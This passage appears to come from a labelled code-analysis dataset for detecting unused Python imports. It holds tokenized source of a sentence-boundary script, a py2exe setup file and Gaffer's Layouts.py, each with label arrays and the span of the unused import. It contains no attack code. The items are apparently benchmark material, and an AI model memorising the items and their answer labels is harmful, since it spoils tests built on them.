"\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "tokens_", "=_", "frag_", "._", "orig_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokens_", "=_", "re_", "._", "sub_", "(_", "'(", "<", "A", ">)", "|(", "<", "E", ">)", "|(", "<", "S", ">)", "'_", ",_", "''_", ",_", "tokens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag_", "._", "tokenized", "_", "=_", "tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "frag", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "prev_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "curr", "\\u", "words_", "=_", "[_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "word", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "last", " ", "frag_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "frag_", "=_", "Fra", "g_", "(_", "'", " ", "'_", "._", "join_", "(_", "curr", "\\u", "words_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "frag", "\\u", "list_", ":_", "frag", "\\u", "list_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "prev_", "._", "next_", "=_", "frag_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "expect", "\\u", "labels_", ":_", "frag_", "._", "label_", "=_", "int_", "(_", "'<", "S", ">'_", "in_", "word_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "tokenize_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "tokens_", "=_", "word", "\\u", "tokenize_", "._", "tokenize_", "(_", "frag_", "._", "orig_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "tokens_", "=_", "frag_", "._", "orig_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tokens_", "=_", "re_", "._", "sub_", "(_", "'(", "<", "A", ">)", "|(", "<", "E", ">)", "|(", "<", "S", ">)", "'_", ",_", "''_", ",_", "tokens_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag_", "._", "tokenized", "_", "=_", "tokens_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag_", "._", "ends", "\\u", "seg_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "frag", "\\u", "index_", "+=_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "verbose_", ":_", "sys_", "._", "stderr_", "._", "write_", "(_", "'", " ", "words", " ", "[", "%", "d", "]", " ", "sb", "d", " ", "hyp", "s", " ", "[", "%", "d", "]\\\\", "n", "'_", "%_", "(_", "word", "\\u", "index_", ",_", "frag", "\\u", "index_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "create", " ", "a", " ", "Doc", " ", "object", " ", "to", " ", "hold", " ", "all", " ", "this", " ", "information_", "\\u\\u\\uNL\\u\\u\\u_", "doc_", "=_", "Doc_", "(_", "frag", "\\u", "list_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "return_", "doc_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "poo", "_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "label", "ed", " ", "data_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "data\\u", "root_", "=_", "'/", "u", "/", "dg", "illi", "ck", "/", "works", "pace", "/", "sb", "d", "/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "brow", "n", "\\u", "data_", "=_", "data\\u", "root_", "+_", "'", "whis", "key", "/", "brow", "n", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "ws", "j", "\\u", "data_", "=_", "data\\u", "root_", "+_", "'", "whis", "key", "/", "sat", "z", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "poe", "\\u", "data_", "=_", "data\\u", "root_", "+_", "'", "whis", "key", "/", "poe", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "\\u", "ws", "j", "\\u", "data_", "=_", "data\\u", "root_", "+_", "'", "whis", "key", "/", "ws", "j", ".1", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "install", " ", "root_", "\\u\\u\\uNL\\u\\u\\u_", "install", "\\u", "root_", "=_", "'/", "home", "/", "cho", "nger", "/", "Down", "load", "s", "/", "split", "ta", "/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "options_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "optparse_", "import_", "Optio", "n", "Parser_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "usage_", "=_", "'", "usage", ":", " ", "%", "prog", " ", "[", "options", "]", " ", "<", "text", "\\u", "file", ">'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "=_", "Optio", "n", "Parser_", "(_", "usage_", "=_", "usage_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "'-", "v", "'_", ",_", "'--", "verbo", "se", "'_", ",_", "dest_", "=_", "'", "verbo", "se", "'_", ",_", "default_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "'", "store", "\\u", "true", "'_", ",_", "help_", "=_", "'", "verbo", "se", " ", "output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "'-", "t", "'_", ",_", "'--", "tokenize", "'_", ",_", "dest_", "=_", "'", "tokenize", "'_", ",_", "default_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "'", "store", "\\u", "true", "'_", ",_", "help_", "=_", "'", "write", " ", "tokenized", " ", "output", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "'-", "m", "'_", ",_", "'--", "model", "'_", ",_", "dest_", "=_", "'", "model", "\\u", "path", "'_", ",_", "type_", "=_", "'", "str", "'_", ",_", "default_", "=_", "'", "model", "\\u", "nb", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "model", " ", "path", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "'-", "o", "'_", ",_", "'--", "output", "'_", ",_", "dest_", "=_", "'", "output", "'_", ",_", "type_", "=_", "'", "str", "'_", ",_", "default_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "write", " ", "sentence", "s", " ", "to", " ", "this", " ", "file", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "'-", "x", "'_", ",_", "'--", "train", "'_", ",_", "dest_", "=_", "'", "train", "'_", ",_", "type_", "=_", "'", "str", "'_", ",_", "default_", "=_", "None_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "help_", "=_", "'", "train", " ", "a", " ", "new", " ", "model", " ", "usi", "ng", " ", "this", " ", "label", "ed", " ", "data", " ", "file", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "parser_", "._", "add", "\\u", "option_", "(_", "'-", "c", "'_", ",_", "'--", "svm", "'_", ",_", "dest_", "=_", "'", "svm", "'_", ",_", "default_", "=_", "False_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "action_", "=_", "'", "store", "\\u", "true", "'_", ",_", "help_", "=_", "'", "use", " ", "SV", "M", " ", "inst", "ead", " ", "of", " ", "Nai", "ve", " ", "Bayes", " ", "for", " ", "train", "ing", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "(_", "options_", ",_", "args_", ")_", "=_", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "get", " ", "test", " ", "file_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "len_", "(_", "args_", ")_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "options_", "._", "test_", "=_", "args_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "options_", "._", "test_", ")_", ":_", "sb", "d\\u", "util_", "._", "die_", "(_", "'", "test", " ", "path", " ", "[", "%", "s", "]", " ", "doe", "s", " ", "not", " ", "exist", "'_", "%_", "options_", "._", "test_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "options_", "._", "test_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "options_", "._", "train_", ":_", "sb", "d\\u", "util_", "._", "die_", "(_", "'", "you", " ", "did", " ", "not", " ", "speci", "fy", " ", "eit", "her", " ", "train", " ", "or", " ", "test", "!'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "create", " ", "model", " ", "path_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "options_", "._", "model", "\\u", "path_", "._", "endswith_", "(_", "'/'_", ")_", ":_", "options_", "._", "model", "\\u", "path_", "+=_", "'/'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "options_", "._", "train_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "options_", "._", "train_", ")_", ":_", "sb", "d\\u", "util_", "._", "die_", "(_", "'", "model", " ", "path", " ", "[", "%", "s", "]", " ", "doe", "s", " ", "not", " ", "exist", "'_", "%_", "options_", "._", "train_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "os_", "._", "path_", "._", "isdir_", "(_", "options_", "._", "model", "\\u", "path_", ")_", ":_", "sb", "d\\u", "util_", "._", "die_", "(_", "'", "model", " ", "path", " ", "[", "%", "s", "]", " ", "alr", "ead", "y", " ", "exist", "s", "'_", "%_", "options_", "._", "model", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "else_", ":_", "os_", "._", "mkdir_", "(_", "options_", "._", "model", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "options_", "._", "model", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "options_", "._", "model", "\\u", "path_", "=_", "install", "\\u", "root_", "+_", "options_", "._", "model", "\\u", "path_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isdir_", "(_", "options_", "._", "model", "\\u", "path_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "sb", "d\\u", "util_", "._", "die_", "(_", "'", "model", " ", "path", " ", "[", "%", "s", "]", " ", "doe", "s", " ", "not", " ", "exist", "'_", "%_", "options_", "._", "model", "\\u", "path_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "create", " ", "a", " ", "model_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "options_", "._", "train_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "model_", "=_", "build", "\\u", "model_", "(_", "options_", "._", "train_", ",_", "options_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "options_", "._", "test_", ":_", "sys_", "._", "exit_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "print_", "options_", "._", "svm_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "options_", "._", "test_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "##", " ", "test_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "not_", "options_", "._", "train_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "'", "svm", "'_", "in_", "options_", "._", "model", "\\u", "path_", ":_", "options_", "._", "svm_", "=_", "True_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "=_", "load", "\\u", "sb", "d\\u", "model_", "(_", "options_", "._", "model", "\\u", "path_", ",_", "options_", "._", "svm_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "options_", "._", "output_", ":_", "options_", "._", "output_", "=_", "open_", "(_", "options_", "._", "output_", ",_", "'", "w", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "test_", "=_", "get", "\\u", "data_", "(_", "options_", "._", "test_", ",_", "tokenize_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test_", "._", "featurize", "_", "(_", "model_", ",_", "verbose_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "model_", "._", "classify_", "(_", "test_", ",_", "verbose_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "options_", "._", "tokenize_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "options_", "._", "output_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "test_", "._", "segment_", "(_", "use", "\\u", "preds_", "=_", "True_", ",_", "tokenize_", "=_", "options_", "._", "tokenize_", ",_", "output_", "=_", "options_", "._", "output_", ")_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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ation/server-windows/setup.py
[ { "content": "#!/usr/bin/env python\n#-*- encoding:utf-8 -*-\n\nfrom distutils.core import setup\nimport py2exe\n\nsetup(console=['server-windows.py'])\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import py2exe", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 13 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python_", "\\u\\u\\uNL\\u\\u\\u_", "#-", "*-", " ", "encoding", ":", "utf", "-", "8", " ", "-*-", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "from_", "distutils_", "._", "core_", "import_", "setup_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "py2", "exe_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "setup_", "(_", "console_", "=_", "[_", "'", "server", "-", "windows", ".", "py", "'_", "]_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
ImageEngine/gaffer/python/GafferUI/Layouts.py
[ { "content": "##########################################################################\n#\n# Copyright (c) 2011-2012, John Haddon. All rights reserved.\n# Copyright (c) 2013, Image Engine Design Inc. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# * Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n#\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided with\n# the distribution.\n#\n# * Neither the name of John Haddon nor the names of\n# any other contributors to this software may be used to endorse or\n# promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n##########################################################################\n\nimport re\n\nimport Gaffer\nimport GafferUI\n\n## The Layouts class provides a registry of named layouts for use\n# in the ScriptWindow. To allow different gaffer applications to\n# coexist happily in the same process (for instance to run both\n# an asset management app and a shading app inside maya), separate\n# sets of layouts are maintained on a per-application basis. Access\n# to the layouts for a specific application is provided by the\n# Layouts.acquire() method.\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class Layouts( object ) :\n\n\t## Typically acquire() should be used in preference\n\t# to this constructor.\n\n\t## Acquires the set of layouts for the specified application.\n\n\t## Serialises the passed Editor and stores it using the given name. This\n\t# layout can then be recreated using the create() method below.\n\n\t## Removes a layout previously stored with add().\n\n\t## Returns a list of the names of currently defined layouts\n\n\t## Recreates a previously stored layout for the specified script,\n\t# returning it in the form of a CompoundEditor.\n\n\t## Saves all layouts whose name matches the optional regular expression into the file object\n\t# specified. If the file is later evaluated during application startup, it will reregister\n\t# the layouts with the application.\n\t## \\todo Remove this method and follow the model in Bookmarks.py, where user bookmarks\n\t# are saved automatically. This wasn't possible when Layouts.py was first introduced,\n\t# because at that point in time, the Layouts class didn't have access to an application.\n\n\t## The EditorWidget factory provides access to every single registered subclass of\n\t# editor, but specific applications may wish to only provide a subset of those\n\t# editors to the user. This method is used from config files to define the subset\n\t# of editors to use in the application.\n\n\t## Deregisters a previously registered editor, this makes it unavailable to the\n\t# user when creating new layouts.\n\n\t## Returns the names of all currently registered editors.", "metadata": "root.Layouts", "header": "['module', '___EOS___']", "index": 49 }, { "content": "\tdef __init__( self ) :\n\n\t\tself.__namedLayouts = {}\n\t\tself.__registeredEditors = []", "metadata": "root.Layouts.__init__", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 53 }, { "content": "\t@classmethod\n\tdef acquire( cls, applicationOrApplicationRoot ) :\n\n\t\tif isinstance( applicationOrApplicationRoot, Gaffer.Application ) :\n\t\t\tapplicationRoot = applicationOrApplicationRoot.root()\n\t\telse :\n\t\t\tassert( isinstance( applicationOrApplicationRoot, Gaffer.ApplicationRoot ) )\n\t\t\tapplicationRoot = applicationOrApplicationRoot\n\n\t\ttry :\n\t\t\treturn applicationRoot.__layouts\n\t\texcept AttributeError :\n\t\t\tpass\n\n\t\tapplicationRoot.__layouts = Layouts()\n\n\t\treturn applicationRoot.__layouts", "metadata": "root.Layouts.acquire", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 59 }, { "content": "\tdef add( self, name, editor ) :\n\n\t\tif not isinstance( editor, basestring ) :\n\t\t\teditor = repr( editor )\n\n\t\tself.__namedLayouts[name] = editor", "metadata": "root.Layouts.add", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 79 }, { "content": "\tdef remove( self, name ) :\n\n\t\tdel self.__namedLayouts[name]", "metadata": "root.Layouts.remove", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 87 }, { "content": "\tdef names( self ) :\n\n\t\treturn self.__namedLayouts.keys()", "metadata": "root.Layouts.names", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 92 }, { "content": "\tdef create( self, name, scriptNode ) :\n\n\t\tlayout = self.__namedLayouts[name]\n\n\t\t# first try to import the modules the layout needs\n\t\tcontextDict = { \"scriptNode\" : scriptNode }\n\t\timported = set()\n\t\tclassNameRegex = re.compile( \"[a-zA-Z]*Gaffer[^(,]*\\(\" )\n\t\tfor className in classNameRegex.findall( layout ) :\n\t\t\tmoduleName = className.partition( \".\" )[0]\n\t\t\tif moduleName not in imported :\n\t\t\t\texec( \"import %s\" % moduleName, contextDict, contextDict )\n\t\t\t\timported.add( moduleName )\n\n\t\treturn eval( layout, contextDict, contextDict )", "metadata": "root.Layouts.create", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 98 }, { "content": "\tdef save( self, fileObject, nameRegex = None ) :\n\n\t\t# decide what to write\n\t\tnamesToWrite = []\n\t\tfor name in self.names() :\n\t\t\tif nameRegex.match( name ) or nameRegex is None :\n\t\t\t\tnamesToWrite.append( name )\n\n\t\t# write the necessary import statement and acquire the layouts\n\t\tfileObject.write( \"import GafferUI\\n\\n\" )\n\t\tfileObject.write( \"layouts = GafferUI.Layouts.acquire( application )\\n\\n\" )\n\n\t\t# finally write out the layouts\n\t\tfor name in namesToWrite :\n\t\t\tfileObject.write( \"layouts.add( \\\"%s\\\", \\\"%s\\\" )\\n\\n\" % ( name, self.__namedLayouts[name] ) )\n\n\t\t# tidy up by deleting the temporary variable, keeping the namespace clean for\n\t\t# subsequently executed config files.\n\t\tfileObject.write( \"del layouts\\n\" )", "metadata": "root.Layouts.save", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 120 }, { "content": "\tdef registerEditor( self, editorName ) :\n\n\t\tif editorName not in self.__registeredEditors :\n\t\t\tself.__registeredEditors.append( editorName )", "metadata": "root.Layouts.registerEditor", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 144 }, { "content": "\tdef deregisterEditor( self, editorName ) :\n\n\t\tself.__registeredEditors.remove( editorName )", "metadata": "root.Layouts.deregisterEditor", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 151 }, { "content": "\tdef registeredEditors( self ) :\n\n\t\treturn self.__registeredEditors", "metadata": "root.Layouts.registeredEditors", "header": "['class', 'Layouts', '(', 'object', ')', ':', '___NEWLINE___', '___NL___', '## Typically acquire() should be used in preference', '___NL___', '# to this constructor.', '___NL___', '___EOS___']", "index": 156 } ]
[ { "span": "import GafferUI", "start_line": 40, "start_column": 0, "end_line": 40, "end_column": 15 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "2011", "-", "2012", ",", " ", "Joh", "n", " ", "Had", "don", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "2013", ",", " ", "Image", " ", "Engine", " ", "Desig", "n", " ", "Inc", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "following_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "following_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "the", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "Joh", "n", " ", "Had", "don", " ", "nor", " ", "the", " ", "names", " ", "of_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "any", " ", "other", " ", "contributor", "s", " ", "to", " ", "this", " ", "software", " ", "may", " ", "be", " ", "used", " ", "to", " ", "endo", "rse", " ", "or_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "promote", " ", "products", " ", "derive", "d", " ", "from", " ", "this", " ", "software", " ", "with", "out", " ", "specific", " ", "prior_", 